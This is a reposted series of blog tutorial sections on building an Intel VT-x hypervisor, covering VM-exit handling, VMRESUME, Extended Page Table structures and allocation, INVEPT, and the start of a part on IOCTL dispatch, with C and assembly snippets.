VOID MainVMExitHandler(PGUEST_REGS GuestRegs){ ULONG ExitReason = 0; __vmx_vmread(VM_EXIT_REASON, &ExitReason); ULONG ExitQualification = 0; __vmx_vmread(EXIT_QUALIFICATION, &ExitQualification); DbgPrint(«\nVM_EXIT_REASION 0x%x\n», ExitReason & 0xffff); DbgPrint(«\EXIT_QUALIFICATION 0x%x\n», ExitQualification); switch (ExitReason) { // // 25.1.2 Instructions That Cause VM Exits Unconditionally // The following instructions cause VM exits when they are executed in VMX non-root operation: CPUID, GETSEC, // INVD, and XSETBV. This is also true of instructions introduced with VMX, which include: INVEPT, INVVPID, // VMCALL, VMCLEAR, VMLAUNCH, VMPTRLD, VMPTRST, VMRESUME, VMXOFF, and VMXON. // case EXIT_REASON_VMCLEAR: case EXIT_REASON_VMPTRLD: case EXIT_REASON_VMPTRST: case EXIT_REASON_VMREAD: case EXIT_REASON_VMRESUME: case EXIT_REASON_VMWRITE: case EXIT_REASON_VMXOFF: case EXIT_REASON_VMXON: case EXIT_REASON_VMLAUNCH: { break; } case EXIT_REASON_HLT: { DbgPrint(«[*] Execution of HLT detected… \n»); // DbgBreakPoint(); // that’s enough for now 😉 Restore_To_VMXOFF_State(); break; } case EXIT_REASON_EXCEPTION_NMI: { break; } case EXIT_REASON_CPUID: { break; } case EXIT_REASON_INVD: { break; } case EXIT_REASON_VMCALL: { break; } case EXIT_REASON_CR_ACCESS: { break; } case EXIT_REASON_MSR_READ: { break; } case EXIT_REASON_MSR_WRITE: { break; } case EXIT_REASON_EPT_VIOLATION: { break; } default: { // DbgBreakPoint(); break; } }}

Resume to next instruction

If a VM-Exit occurs (e.g the guest executed a CPUID instruction), the guest RIP remains constant and it’s up to you to change the Guest RIP or not so if you don’t have a special function for managing this situation then you execute a VMRESUME and it’s like an infinite loop of executing CPUID and VMRESUME because you didn’t change the RIP.

In order to solve this problem you have to read a VMCS field called VM_EXIT_INSTRUCTION_LEN that stores the length of the instruction that caused the VM-Exit so you have to first, read the GUEST current RIP, second the VM_EXIT_INSTRUCTION_LEN and third add it to GUEST RIP. Now your GUEST RIP points to the next instruction and you’re good to go.

The following function is for this purpose.

12345678910111213

VOID ResumeToNextInstruction(VOID){ PVOID ResumeRIP = NULL; PVOID CurrentRIP = NULL; ULONG ExitInstructionLength = 0; __vmx_vmread(GUEST_RIP, &CurrentRIP); __vmx_vmread(VM_EXIT_INSTRUCTION_LEN, &ExitInstructionLength); ResumeRIP = (PCHAR)CurrentRIP + ExitInstructionLength; __vmx_vmwrite(GUEST_RIP, (ULONG64)ResumeRIP);}

VMRESUME

VMRESUME is like VMLAUNCH but it’s used in order to resume the Guest.

VMLAUNCH fails if the launch state of current VMCS is not “clear”. If the instruction is successful, it sets the launch state to “launched.”
VMRESUME fails if the launch state of the current VMCS is not “launched.”

So it’s clear that if you executed VMLAUNCH before, then you can’t use it anymore to resume to the Guest code and in this condition VMRESUME is used.

The following code is the implementation of VMRESUME.

12345678910111213141516

VOID VM_Resumer(VOID){ __vmx_vmresume(); // if VMRESUME succeed will never be here ! ULONG64 ErrorCode = 0; __vmx_vmread(VM_INSTRUCTION_ERROR, &ErrorCode); __vmx_off(); DbgPrint(«[*] VMRESUME Error : 0x%llx\n», ErrorCode); // It’s such a bad error because we don’t where to go ! // prefer to break DbgBreakPoint();}

Let’s Test it !

Well, we have done with configuration and now its time to run our driver using OSR Driver Loader, as always, first you should disable driver signature enforcement then run your driver.

As you can see from the above picture (in launching VM area), first we set the current logical processor to 0, next we clear our VMCS status using VMCLEAR instruction then we set up our VMCS layout and finally execute a VMLAUNCH instruction.

Now, our guest code is executed and as we configured our VMCS to exit on the execution of HLT(CPU_BASED_HLT_EXITING), so it’s successfully executed and our VM-EXIT handler function called, then it calls the main VM-Exit handler and as the VMCS exit reason is 0xc (EXIT_REASON_HLT), our VM-Exit handler detects an execution of HLT in guest and now it captures the execution.

After that our machine state saving mechanism executed and we successfully turn off hypervisor using VMXOFF and return to the first caller with a successful (RAX = 1) status.

That’s it ! Wasn’t it easy ?!

Conclusion

In this part, we get familiar with configuring Virtual Machine Control Structure and finally run our guest code. The future parts would be an enhancement to this configuration like entering protected-mode,interrupt injection, page modification logging, virtualizing the current machine and so on thus making sure to visit the blog more frequently for future parts and if you have any question or problem you can use the comments section below.

Thanks for reading!

References

[1] Vol 3C – Chapter 24 – (VIRTUAL MACHINE CONTROL STRUCTURES) (https://software.intel.com/en-us/articles/intel-sdm)

[2] Vol 3C – Chapter 26 – (VM ENTRIES) (https://software.intel.com/en-us/articles/intel-sdm)

[3] Segmentation (https://wiki.osdev.org/Segmentation)

[4] x86 memory segmentation (https://en.wikipedia.org/wiki/X86_memory_segmentation)

[5] VmcsAuditor – A Bochs-Based Hypervisor Layout Checker (https://rayanfam.com/topics/vmcsauditor-a-bochs-based-hypervisor-layout-checker/)

[6] Rohaaan/Hypervisor For Beginners (https://github.com/rohaaan/hypervisor-for-beginners)

[7] SWAPGS — Swap GS Base Register (https://www.felixcloutier.com/x86/SWAPGS.html)

[8] Knockin’ on Heaven’s Gate – Dynamic Processor Mode Switching (http://rce.co/knockin-on-heavens-gate-dynamic-processor-mode-switching/)

17.12.201817.12.2018

Hypervisor From Scratch – Part 4: Address Translation Using Extended Page Table (EPT)

( Original text by Sinaei )

Welcome to the fourth part of the “Hypervisor From Scratch”. This part is primarily about translating guest address through Extended Page Table (EPT) and its implementation. We also see how shadow tables work and other cool stuff.

First of all, make sure to read the earlier parts before reading this topic as these parts are really dependent on each other also you should have a basic understanding of paging mechanism and how page tables work. A good article is here for paging tables.

Most of this topic derived from Chapter 28 – (VMX SUPPORT FOR ADDRESS TRANSLATION) available at Intel 64 and IA-32 architectures software developer’s manual combined volumes 3.

The full source code of this tutorial is available on GitHub :

[https://github.com/SinaKarvandi/Hypervisor-From-Scratch]

Before starting, I should give my thanks to Petr Beneš, as this part would never be completed without his help.

Introduction

Second Level Address Translation (SLAT) or nested paging, is an extended layer in the paging mechanism that is used to map hardware-based virtualization virtual addresses into the physical memory.

AMD implemented SLAT through the Rapid Virtualization Indexing (RVI) technology known as Nested Page Tables (NPT) since the introduction of its third-generation Opteron processors and microarchitecture code name Barcelona. Intel also implemented SLAT in Intel® VT-x technologiessince the introduction of microarchitecture code name Nehalem and its known as Extended Page Table (EPT) and is used in Core i9, Core i7, Core i5, and Core i3 processors.

ARM processors also have some kind of implementation known as known as Stage-2 page-tables.

There are two methods, the first one is Shadow Page Tables and the second one is Extended Page Tables.

Software-assisted paging (Shadow Page Tables)

Shadow page tables are used by the hypervisor to keep track of the state of physical memory in which the guest thinks that it has access to physical memory but in the real world, the hardware prevents it to access hardware memory otherwise it will control the host and it is not what it intended to be.

In this case, VMM maintains shadow page tables that map guest-virtual pages directly to machine pages and any guest modifications to V->P tables synced to VMM V->M shadow page tables.

By the way, using Shadow Page Table is not recommended today as always lead to VMM traps (which result in a vast amount of VM-Exits) and losses the performance due to the TLB flush on every switch and another caveat is that there is a memory overhead due to shadow copying of guest page tables.

Hardware-assisted paging (Extended Page Table)

To reduce the complexity of Shadow Page Tables and avoiding the excessive vm-exits and reducing the number of TLB flushes, EPT, a hardware-assisted paging strategy implemented to increase the performance.

According to a VMware evaluation paper: “EPT provides performance gains of up to 48% for MMU-intensive benchmarks and up to 600% for MMU-intensive microbenchmarks”.

EPT implemented one more page table hierarchy, to map Guest-Virtual Address to Guest-Physical address which is valid in the main memory.

In EPT,

One page table is maintained by guest OS, which is used to generate the guest-physical address.
The other page table is maintained by VMM, which is used to map guest physical address to host physical address.

so for each memory access operation, EPT MMU directly gets the guest physical address from the guest page table and then gets the host physical address by the VMM mapping table automatically.

Extended Page Table vs Shadow Page Table

EPT:

Walk any requested address
- Appropriate to programs that have a large amount of page table miss when executing
- Less chance to exit VM (less context switch)
Two-layer EPT
- Means each access needs to walk two tables
Easier to develop
- Many particular registers
- Hardware helps guest OS to notify the VMM

SPT:

Only walk when SPT entry miss
- Appropriate to programs that would access only some addresses frequently
- Every access might be intercepted by VMM (many traps)
One reference
- Fast and convenient when page hit
Hard to develop
- Two-layer structure
- Complicated reverse map
- Permission emulation

Detecting Support for EPT, NPT

If you want to see whether your system supports EPT on Intel processor or NPT on AMD processor without using assembly (CPUID), you can download coreinfo.exe from Sysinternals, then run it. The last line will show you if your processor supports EPT or NPT.

EPT Translation

EPT defines a layer of address translation that augments the translation of linear addresses.

The extended page-table mechanism (EPT) is a feature that can be used to support the virtualization of physical memory. When EPT is in use, certain addresses that would normally be treated as physical addresses (and used to access memory) are instead treated as guest-physical addresses. Guest-physical addresses are translated by traversing a set of EPT paging structures to produce physical addresses that are used to access memory.

EPT is used when the “enable EPT” VM-execution control is 1. It translates the guest-physical addresses used in VMX non-root operation and those used by VM entry for event injection.

EPT translation is exactly like regular paging translation but with some minor differences. In paging, the processor translates Virtual Address to Physical Address while in EPT translation you want to translate a Guest Virtual Address to Host Physical Address.

If you’re familiar with paging, the 3rd control register (CR3) is the base address of PML4 Table (in an x64 processor or more generally it points to root paging directory), in EPT guest is not aware of EPT Translation so it has CR3 too but this CR3 is used to convert Guest Virtual Address to Guest Physical Address, whenever you find your target Guest Physical Address, it’s EPT mechanism that treats your Guest Physical Address like a virtual address and the EPTP is the CR3.

Just think about the above sentence one more time!

So your target physical address should be divided into 4 part, the first 9 bits points to EPT PML4E (note that PML4 base address is in EPTP), the second 9 bits point the EPT PDPT Entry (the base address of PDPT comes from EPT PML4E), the third 9 bits point to EPT PD Entry (the base address of PD comes from EPT PDPTE) and the last 9 bit of the guest physical address point to an entry in EPT PT table (the base address of PT comes form EPT PDE) and now the EPT PT Entry points to the host physical address of the corresponding page.

You might ask, as a simple Virtual to Physical Address translation involves accessing 4 physical address, so what happens ?!

The answer is the processor internally translates all tables physical address one by one, that’s why paging and accessing memory in a guest software is slower than regular address translation. The following picture illustrates the operations for a Guest Virtual Address to Host Physical Address.

If you want to think about x86 EPT virtualization, assume, for example, that CR4.PAE = CR4.PSE = 0. The translation of a 32-bit linear address then operates as follows:

Bits 31:22 of the linear address select an entry in the guest page directory located at the guest-physical address in CR3. The guest-physical address of the guest page-directory entry (PDE) is translated through EPT to determine the guest PDE’s physical address.
Bits 21:12 of the linear address select an entry in the guest page table located at the guest-physical address in the guest PDE. The guest-physical address of the guest page-table entry (PTE) is translated through EPT to determine the guest PTE’s physical address.
Bits 11:0 of the linear address is the offset in the page frame located at the guest-physical address in the guest PTE. The guest physical address determined by this offset is translated through EPT to determine the physical address to which the original linear address translates.

Note that PAE stands for Physical Address Extension which is a memory management feature for the x86 architecture that extends the address space and PSE stands for Page Size Extension that refers to a feature of x86 processors that allows for pages larger than the traditional 4 KiB size.

In addition to translating a guest-physical address to a host physical address, EPT specifies the privileges that software is allowed when accessing the address. Attempts at disallowed accesses are called EPT violations and cause VM-exits.

Keep in mind that address never translates through EPT, when there is no access. That your guest-physical address is never used until there is access (Read or Write) to that location in memory.

Implementing Extended Page Table (EPT)

Now that we know some basics, let’s implement what we’ve learned before. Based on Intel manual we should write (VMWRITE) EPTP or Extended-Page-Table Pointer to the VMCS. The EPTP structure described below.

The above tables can be described using the following structure :

123456789101112

// See Table 24-8. Format of Extended-Page-Table Pointertypedef union _EPTP { ULONG64 All; struct { UINT64 MemoryType : 3; // bit 2:0 (0 = Uncacheable (UC) — 6 = Write — back(WB)) UINT64 PageWalkLength : 3; // bit 5:3 (This value is 1 less than the EPT page-walk length) UINT64 DirtyAndAceessEnabled : 1; // bit 6 (Setting this control to 1 enables accessed and dirty flags for EPT) UINT64 Reserved1 : 5; // bit 11:7 UINT64 PML4Address : 36; UINT64 Reserved2 : 16; }Fields;}EPTP, *PEPTP;

Each entry in all EPT tables is 64 bit long. EPT PML4E and EPT PDPTE and EPT PD are the same but EPT PTE has some minor differences.

An EPT entry is something like this :

Ok, Now we should implement tables and the first table is PML4. The following table shows the format of an EPT PML4 Entry (PML4E).

PML4E can be a structure like this :

1234567891011121314151617

// See Table 28-1. typedef union _EPT_PML4E { ULONG64 All; struct { UINT64 Read : 1; // bit 0 UINT64 Write : 1; // bit 1 UINT64 Execute : 1; // bit 2 UINT64 Reserved1 : 5; // bit 7:3 (Must be Zero) UINT64 Accessed : 1; // bit 8 UINT64 Ignored1 : 1; // bit 9 UINT64 ExecuteForUserMode : 1; // bit 10 UINT64 Ignored2 : 1; // bit 11 UINT64 PhysicalAddress : 36; // bit (N-1):12 or Page-Frame-Number UINT64 Reserved2 : 4; // bit 51:N UINT64 Ignored3 : 12; // bit 63:52 }Fields;}EPT_PML4E, *PEPT_PML4E;

As long as we want to have a 4-level paging, the second table is EPT Page-Directory-Pointer-Table (PDTP), the following picture illustrates the format of PDPTE :

PDPTE’s structure is like this :

1234567891011121314151617

// See Table 28-3typedef union _EPT_PDPTE { ULONG64 All; struct { UINT64 Read : 1; // bit 0 UINT64 Write : 1; // bit 1 UINT64 Execute : 1; // bit 2 UINT64 Reserved1 : 5; // bit 7:3 (Must be Zero) UINT64 Accessed : 1; // bit 8 UINT64 Ignored1 : 1; // bit 9 UINT64 ExecuteForUserMode : 1; // bit 10 UINT64 Ignored2 : 1; // bit 11 UINT64 PhysicalAddress : 36; // bit (N-1):12 or Page-Frame-Number UINT64 Reserved2 : 4; // bit 51:N UINT64 Ignored3 : 12; // bit 63:52 }Fields;}EPT_PDPTE, *PEPT_PDPTE;

For the third table of paging we should implement an EPT Page-Directory Entry (PDE) as described below:

PDE’s structure:

1234567891011121314151617

// See Table 28-5typedef union _EPT_PDE { ULONG64 All; struct { UINT64 Read : 1; // bit 0 UINT64 Write : 1; // bit 1 UINT64 Execute : 1; // bit 2 UINT64 Reserved1 : 5; // bit 7:3 (Must be Zero) UINT64 Accessed : 1; // bit 8 UINT64 Ignored1 : 1; // bit 9 UINT64 ExecuteForUserMode : 1; // bit 10 UINT64 Ignored2 : 1; // bit 11 UINT64 PhysicalAddress : 36; // bit (N-1):12 or Page-Frame-Number UINT64 Reserved2 : 4; // bit 51:N UINT64 Ignored3 : 12; // bit 63:52 }Fields;}EPT_PDE, *PEPT_PDE;

The last page is EPT which is described below.

PTE will be :

Note that you have, EPTMemoryType, IgnorePAT, DirtyFlag and SuppressVE in addition to the above pages.

1234567891011121314151617181920

// See Table 28-6typedef union _EPT_PTE { ULONG64 All; struct { UINT64 Read : 1; // bit 0 UINT64 Write : 1; // bit 1 UINT64 Execute : 1; // bit 2 UINT64 EPTMemoryType : 3; // bit 5:3 (EPT Memory type) UINT64 IgnorePAT : 1; // bit 6 UINT64 Ignored1 : 1; // bit 7 UINT64 AccessedFlag : 1; // bit 8 UINT64 DirtyFlag : 1; // bit 9 UINT64 ExecuteForUserMode : 1; // bit 10 UINT64 Ignored2 : 1; // bit 11 UINT64 PhysicalAddress : 36; // bit (N-1):12 or Page-Frame-Number UINT64 Reserved : 4; // bit 51:N UINT64 Ignored3 : 11; // bit 62:52 UINT64 SuppressVE : 1; // bit 63 }Fields;}EPT_PTE, *PEPT_PTE;

There are other types of implementing page walks ( 2 or 3 level paging) and if you set the 7th bit of PDPTE (Maps 1 GB) or the 7th bit of PDE (Maps 2 MB) so instead of implementing 4 level paging (like what we want to do for the rest of the topic) you set those bits but keep in mind that the corresponding tables are different. These tables described in (Table 28-4. Format of an EPT Page-Directory Entry (PDE) that Maps a 2-MByte Page) and (Table 28-2. Format of an EPT Page-Directory-Pointer-Table Entry (PDPTE) that Maps a 1-GByte Page). Alex Ionescu’s SimpleVisor is an example of implementing in this way.

An important note is almost all the above structures have a 36-bit Physical Address which means our hypervisor supports only 4-level paging. It is because every page table (and every EPT Page Table) consist of 512 entries which means you need 9 bits to select an entry and as long as we have 4 level tables, we can’t use more than 36 (4 * 9) bits. Another method with wider address range is not implemented in all major OS like Windows or Linux. I’ll describe EPT PML5E briefly later in this topic but we don’t implement it in our hypervisor as it’s not popular yet!

By the way, N is the physical-address width supported by the processor. CPUID with 80000008H in EAX gives you the supported width in EAX bits 7:0.

Let’s see the rest of the code, the following code is the Initialize_EPTP function which is responsible for allocating and mapping EPTP.

Note that the PAGED_CODE() macro ensures that the calling thread is running at an IRQL that is low enough to permit paging.

1234	UINT64 Initialize_EPTP(){ PAGED_CODE(); …

First of all, allocating EPTP and put zeros on it.

1234567

// Allocate EPTP PEPTP EPTPointer = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, POOLTAG); if (!EPTPointer) { return NULL; } RtlZeroMemory(EPTPointer, PAGE_SIZE);

Now, we need a blank page for our EPT PML4 Table.

1234567

// Allocate EPT PML4 PEPT_PML4E EPT_PML4 = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, POOLTAG); if (!EPT_PML4) { ExFreePoolWithTag(EPTPointer, POOLTAG); return NULL; } RtlZeroMemory(EPT_PML4, PAGE_SIZE);

And another empty page for PDPT.

12345678

// Allocate EPT Page-Directory-Pointer-Table PEPT_PDPTE EPT_PDPT = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, POOLTAG); if (!EPT_PDPT) { ExFreePoolWithTag(EPT_PML4, POOLTAG); ExFreePoolWithTag(EPTPointer, POOLTAG); return NULL; } RtlZeroMemory(EPT_PDPT, PAGE_SIZE);

Of course its true about Page Directory Table.

12345678910

// Allocate EPT Page-Directory PEPT_PDE EPT_PD = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, POOLTAG); if (!EPT_PD) { ExFreePoolWithTag(EPT_PDPT, POOLTAG); ExFreePoolWithTag(EPT_PML4, POOLTAG); ExFreePoolWithTag(EPTPointer, POOLTAG); return NULL; } RtlZeroMemory(EPT_PD, PAGE_SIZE);

The last table is a blank page for EPT Page Table.

1234567891011

// Allocate EPT Page-Table PEPT_PTE EPT_PT = ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, POOLTAG); if (!EPT_PT) { ExFreePoolWithTag(EPT_PD, POOLTAG); ExFreePoolWithTag(EPT_PDPT, POOLTAG); ExFreePoolWithTag(EPT_PML4, POOLTAG); ExFreePoolWithTag(EPTPointer, POOLTAG); return NULL; } RtlZeroMemory(EPT_PT, PAGE_SIZE);

Now that we have all of our pages available, let’s allocate two page (2*4096) continuously because we need one of the pages for our RIP to start and one page for our Stack (RSP). After that, we need two EPT Page Table Entries (PTEs) with permission to execute, read, write. The physical address should be divided by 4096 (PAGE_SIZE) because if we dived a hex number by 4096 (0x1000) 12 digits from the right (which are zeros) will disappear and these 12 digits are for choosing between 4096 bytes.

By the way, we let stack be executable too and that’s because, in a regular VM, we should put RWX to all pages because its the responsibility of internal page tables to set or clear NX bit. We need to change them from EPT Tables for special purposes (e.g intercepting instruction fetch for a special page). Changing from EPT tables will lead to EPT-Violation, in this way we can intercept these events.

The actual need is two page but we need to build page tables inside our guest software thus we allocate up to 10 page.

I’ll explain about intercepting pages from EPT, later in these series.

123456789101112131415161718192021

// Setup PT by allocating two pages Continuously // We allocate two pages because we need 1 page for our RIP to start and 1 page for RSP 1 + 1 and other paages for paging const int PagesToAllocate = 10; UINT64 Guest_Memory = ExAllocatePoolWithTag(NonPagedPool, PagesToAllocate * PAGE_SIZE, POOLTAG); RtlZeroMemory(Guest_Memory, PagesToAllocate * PAGE_SIZE); for (size_t i = 0; i < PagesToAllocate; i++) { EPT_PT[i].Fields.AccessedFlag = 0; EPT_PT[i].Fields.DirtyFlag = 0; EPT_PT[i].Fields.EPTMemoryType = 6; EPT_PT[i].Fields.Execute = 1; EPT_PT[i].Fields.ExecuteForUserMode = 0; EPT_PT[i].Fields.IgnorePAT = 0; EPT_PT[i].Fields.PhysicalAddress = (VirtualAddress_to_PhysicalAddress( Guest_Memory + ( i * PAGE_SIZE ))/ PAGE_SIZE ); EPT_PT[i].Fields.Read = 1; EPT_PT[i].Fields.SuppressVE = 0; EPT_PT[i].Fields.Write = 1; }

Note: EPTMemoryType can be either 0 (for uncached memory) or 6 (write-back) memory and as we want our memory to be cacheable so put 6 on it.

The next table is PDE. PDE should point to PTE base address so we just put the address of the first entry from the EPT PTE as the physical address for Page Directory Entry.

123456789101112

// Setting up PDE EPT_PD->Fields.Accessed = 0; EPT_PD->Fields.Execute = 1; EPT_PD->Fields.ExecuteForUserMode = 0; EPT_PD->Fields.Ignored1 = 0; EPT_PD->Fields.Ignored2 = 0; EPT_PD->Fields.Ignored3 = 0; EPT_PD->Fields.PhysicalAddress = (VirtualAddress_to_PhysicalAddress(EPT_PT) / PAGE_SIZE); EPT_PD->Fields.Read = 1; EPT_PD->Fields.Reserved1 = 0; EPT_PD->Fields.Reserved2 = 0; EPT_PD->Fields.Write = 1;

Next step is mapping PDPT. PDPT Entry should point to the first entry of Page-Directory.

123456789101112

// Setting up PDPTE EPT_PDPT->Fields.Accessed = 0; EPT_PDPT->Fields.Execute = 1; EPT_PDPT->Fields.ExecuteForUserMode = 0; EPT_PDPT->Fields.Ignored1 = 0; EPT_PDPT->Fields.Ignored2 = 0; EPT_PDPT->Fields.Ignored3 = 0; EPT_PDPT->Fields.PhysicalAddress = (VirtualAddress_to_PhysicalAddress(EPT_PD) / PAGE_SIZE); EPT_PDPT->Fields.Read = 1; EPT_PDPT->Fields.Reserved1 = 0; EPT_PDPT->Fields.Reserved2 = 0; EPT_PDPT->Fields.Write = 1;

The last step is configuring PML4E which points to the first entry of the PTPT.

123456789101112

// Setting up PML4E EPT_PML4->Fields.Accessed = 0; EPT_PML4->Fields.Execute = 1; EPT_PML4->Fields.ExecuteForUserMode = 0; EPT_PML4->Fields.Ignored1 = 0; EPT_PML4->Fields.Ignored2 = 0; EPT_PML4->Fields.Ignored3 = 0; EPT_PML4->Fields.PhysicalAddress = (VirtualAddress_to_PhysicalAddress(EPT_PDPT) / PAGE_SIZE); EPT_PML4->Fields.Read = 1; EPT_PML4->Fields.Reserved1 = 0; EPT_PML4->Fields.Reserved2 = 0; EPT_PML4->Fields.Write = 1;

We’ve almost done! Just set up the EPTP for our VMCS by putting 0x6 as the memory type (which is write-back) and we walk 4 times so the page walk length is 4-1=3 and PML4 address is the physical address of the first entry in the PML4 table.

I’ll explain about DirtyAndAcessEnabled field later in this topic.

1234567

// Setting up EPTP EPTPointer->Fields.DirtyAndAceessEnabled = 1; EPTPointer->Fields.MemoryType = 6; // 6 = Write-back (WB) EPTPointer->Fields.PageWalkLength = 3; // 4 (tables walked) — 1 = 3 EPTPointer->Fields.PML4Address = (VirtualAddress_to_PhysicalAddress(EPT_PML4) / PAGE_SIZE); EPTPointer->Fields.Reserved1 = 0; EPTPointer->Fields.Reserved2 = 0;

and the last step.

12	DbgPrint(«[*] Extended Page Table Pointer allocated at %llx»,EPTPointer); return EPTPointer;

All the above page tables should be aligned to 4KByte boundaries but as long as we allocate >= PAGE_SIZE (One PFN record) so it’s automatically 4kb-aligned.

Our implementation consist of 4 tables, therefore, the full layout is like this:

Accessed and Dirty Flags in EPTP

In EPTP, you’ll decide whether enable accessed and dirty flags for EPT or not using the 6th bit of the extended-page-table pointer (EPTP). Setting this flag causes processor accesses to guest paging structure entries to be treated as writes.

For any EPT paging-structure entry that is used during guest-physical-address translation, bit 8 is the accessed flag. For an EPT paging-structure entry that maps a page (as opposed to referencing another EPT paging structure), bit 9 is the dirty flag.

Whenever the processor uses an EPT paging-structure entry as part of the guest-physical-address translation, it sets the accessed flag in that entry (if it is not already set).

Whenever there is a write to a guest-physical address, the processor sets the dirty flag (if it is not already set) in the EPT paging-structure entry that identifies the final physical address for the guest-physical address (either an EPT PTE or an EPT paging-structure entry in which bit 7 is 1).

These flags are “sticky,” meaning that, once set, the processor does not clear them; only software can clear them.

5-Level EPT Translation

Intel suggests a new table in translation hierarchy, called PML5 which extends the EPT into a 5-layer table and guest operating systems can use up to 57 bit for the virtual-addresses while the classic 4-level EPT is limited to translating 48-bit guest-physical
addresses. None of the modern OSs use this feature yet.

PML5 is also applying to both EPT and regular paging mechanism.

Translation begins by identifying a 4-KByte naturally aligned EPT PML5 table. It is located at the physical address specified in bits 51:12 of EPTP. An EPT PML5 table comprises 512 64-bit entries (EPT PML5Es). An EPT PML5E is selected using the physical address defined as follows.

Bits 63:52 are all 0.
Bits 51:12 are from EPTP.
Bits 11:3 are bits 56:48 of the guest-physical address.
Bits 2:0 are all 0.
Because an EPT PML5E is identified using bits 56:48 of the guest-physical address, it controls access to a 256-TByte region of the linear address space.

The only difference is you should put PML5 physical address instead of the PML4 address in EPTP.

For more information about 5-layer paging take a look at this Intel documentation.

Invalidating Cache (INVEPT)

Well, Intel’s explanation about Cache invalidating is really vague and I couldn’t understand it completely but I asked Petr and he explains me in this way:

VMX-specific TLB-management instructions:
- INVEPT – Invalidate cached Extended Page Table (EPT) mappings in the processor to synchronize address translation in virtual machines with memory-resident EPT pages.
- INVVPID – Invalidate cached mappings of address translation based on the Virtual Processor ID (VPID).

Imagine we access guest-physical-address 0x1000,it’ll get translated to host-physical-address 0x5000. Next time, if we access 0x1000, the CPU won’t send the request to the memory bus but uses cached memory instead. it’s faster. Now let’s say we change EPT_PDPT->PhysicalAddress to point to different EPT PD or change the attributes of one of the EPT tables, now we have to tell the processor that your cache is invalid and that’s what exactly INVEPT performs.

Now we have two terms here, Single-Context and All-Context.

Single-Context means, that you invalidate all EPT-derived translations based on a single EPTP (in short: for single VM).

All-Context means that you invalidate all EPT-derived translations. (for every-VM).

So in case if you wouldn’t perform INVEPT after changing EPT’s structures, you would be risking that the CPU would reuse old translations.

Basically, any change to EPT structure needs INVEPT but switching EPT (or VMCS) doesn’t need INVEPT because that translation will be “tagged” with the changed EPTP in the cache.

The following assembly function is responsible for INVEPT.

12345678910111213

INVEPT_Instruction PROC PUBLIC invept rcx, oword ptr [rdx] jz @jz jc @jc xor rax, rax ret @jz: mov rax, VMX_ERROR_CODE_FAILED_WITH_STATUS ret @jc: mov rax, VMX_ERROR_CODE_FAILED retINVEPT_Instruction ENDP

Note that VMX_ERROR_CODE_FAILED_WITH_STATUS and VMX_ERROR_CODE_FAILED define like this.

123	VMX_ERROR_CODE_SUCCESS = 0 VMX_ERROR_CODE_FAILED_WITH_STATUS = 1 VMX_ERROR_CODE_FAILED = 2

Now, we implement INVEPT.

12345678910

unsigned char INVEPT(UINT32 type, INVEPT_DESC* descriptor){ if (!descriptor) { static INVEPT_DESC zero_descriptor = { 0 }; descriptor = &zero_descriptor; } return INVEPT_Instruction(type, descriptor);}

To invalidate all the contexts use the following function.

1234	unsigned char INVEPT_ALL_CONTEXTS(){ return INVEPT(all_contexts ,NULL);}

And the last step is for Single-Context INVEPT which needs an EPTP.

12345

unsigned char INVEPT_SINGLE_CONTEXT(EPTP ept_pointer){ INVEPT_DESC descriptor = { ept_pointer, 0 }; return INVEPT(single_context, &descriptor);}

Using the above functions in a modification state, tell the processor to invalidate its cache.

Conclusion

In this part, we see how to initialize the Extended Page Table and map guest physical address to host physical address then we build the EPTP based on the allocated addresses.

The future part would be about building the VMCS and implementing other VMX instructions. Don’t forget to check the blog for the future posts.

Have a good time!

References

[1] Vol 3C – 28.2 THE EXTENDED PAGE TABLE MECHANISM (EPT) (https://software.intel.com/en-us/articles/intel-sdm)

[2] Performance Evaluation of Intel EPT Hardware Assist (https://www.vmware.com/pdf/Perf_ESX_Intel-EPT-eval.pdf)

[3] Second Level Address Translation (https://en.wikipedia.org/wiki/Second_Level_Address_Translation)

[4] Memory Virtualization (http://www.cs.nthu.edu.tw/~ychung/slides/Virtualization/VM-Lecture-2-2-SystemVirtualizationMemory.pptx) [5] Best Practices for Paravirtualization Enhancements from Intel® Virtualization Technology: EPT and VT-d (https://software.intel.com/en-us/articles/best-practices-for-paravirtualization-enhancements-from-intel-virtualization-technology-ept-and-vt-d)[6] 5-Level Paging and 5-Level EPT (https://software.intel.com/sites/default/files/managed/2b/80/5-level_paging_white_paper.pdf) [7] Xen Summit November 2007 – Jun Nakajima (http://www-archive.xenproject.org/files/xensummit_fall07/12_JunNakajima.pdf) [8] gipervizor against rutkitov: as it works (http://developers-club.com/posts/133906/) [9] Intel SGX Explained (https://www.semanticscholar.org/paper/Intel-SGX-Explained-Costan-Devadas/2d7f3f4ca3fbb15ae04533456e5031e0d0dc845a) [10] Intel VT-x (https://github.com/tnballo/notebook/wiki/Intel-VTx) [11] Introduction to IA-32e hardware paging (https://www.triplefault.io/2017/07/introduction-to-ia-32e-hardware-paging.html)

17.12.201817.12.2018

Hypervisor From Scratch – Part 3: Setting up Our First Virtual Machine

( Original text by Sinaei )

Introduction

This is the third part of the tutorial “Hypervisor From Scratch“. You may have noticed that the previous parts have steadily been getting more complicated. This part should teach you how to get started with creating your own VMM, we go to demonstrate how to interact with the VMM from Windows User-mode (IOCTL Dispatcher), then we solve the problems with the affinity and running code in a special core. Finally, we get familiar with initializing VMXON Regions and VMCS Regions then we load our hypervisor regions into each core and implement our custom functions to work with hypervisor instruction and many more things related to Virtual-Machine Control Data Structures (VMCS).

Some of the implementations derived from HyperBone (Minimalistic VT-X hypervisor with hooks) and HyperPlatform by Satoshi Tanda and hvpp which is great work by my friend Petr Beneš the person who really helped me creating these series.

The full source code of this tutorial is available on :

[https://github.com/SinaKarvandi/Hypervisor-From-Scratch]

Interacting with VMM Driver from User-Mode

The most important function in IRP MJ functions for us is DrvIOCTLDispatcher (IRP_MJ_DEVICE_CONTROL) and that’s because this function can be called from user-mode with a special IOCTL number, it means you can have a special code in your driver and implement a special functionality corresponding this code, then by knowing the code (from user-mode) you can ask your driver to perform your request, so you can imagine that how useful this function would be.

Now let’s implement our functions for dispatching IOCTL code and print it from our kernel-mode driver.

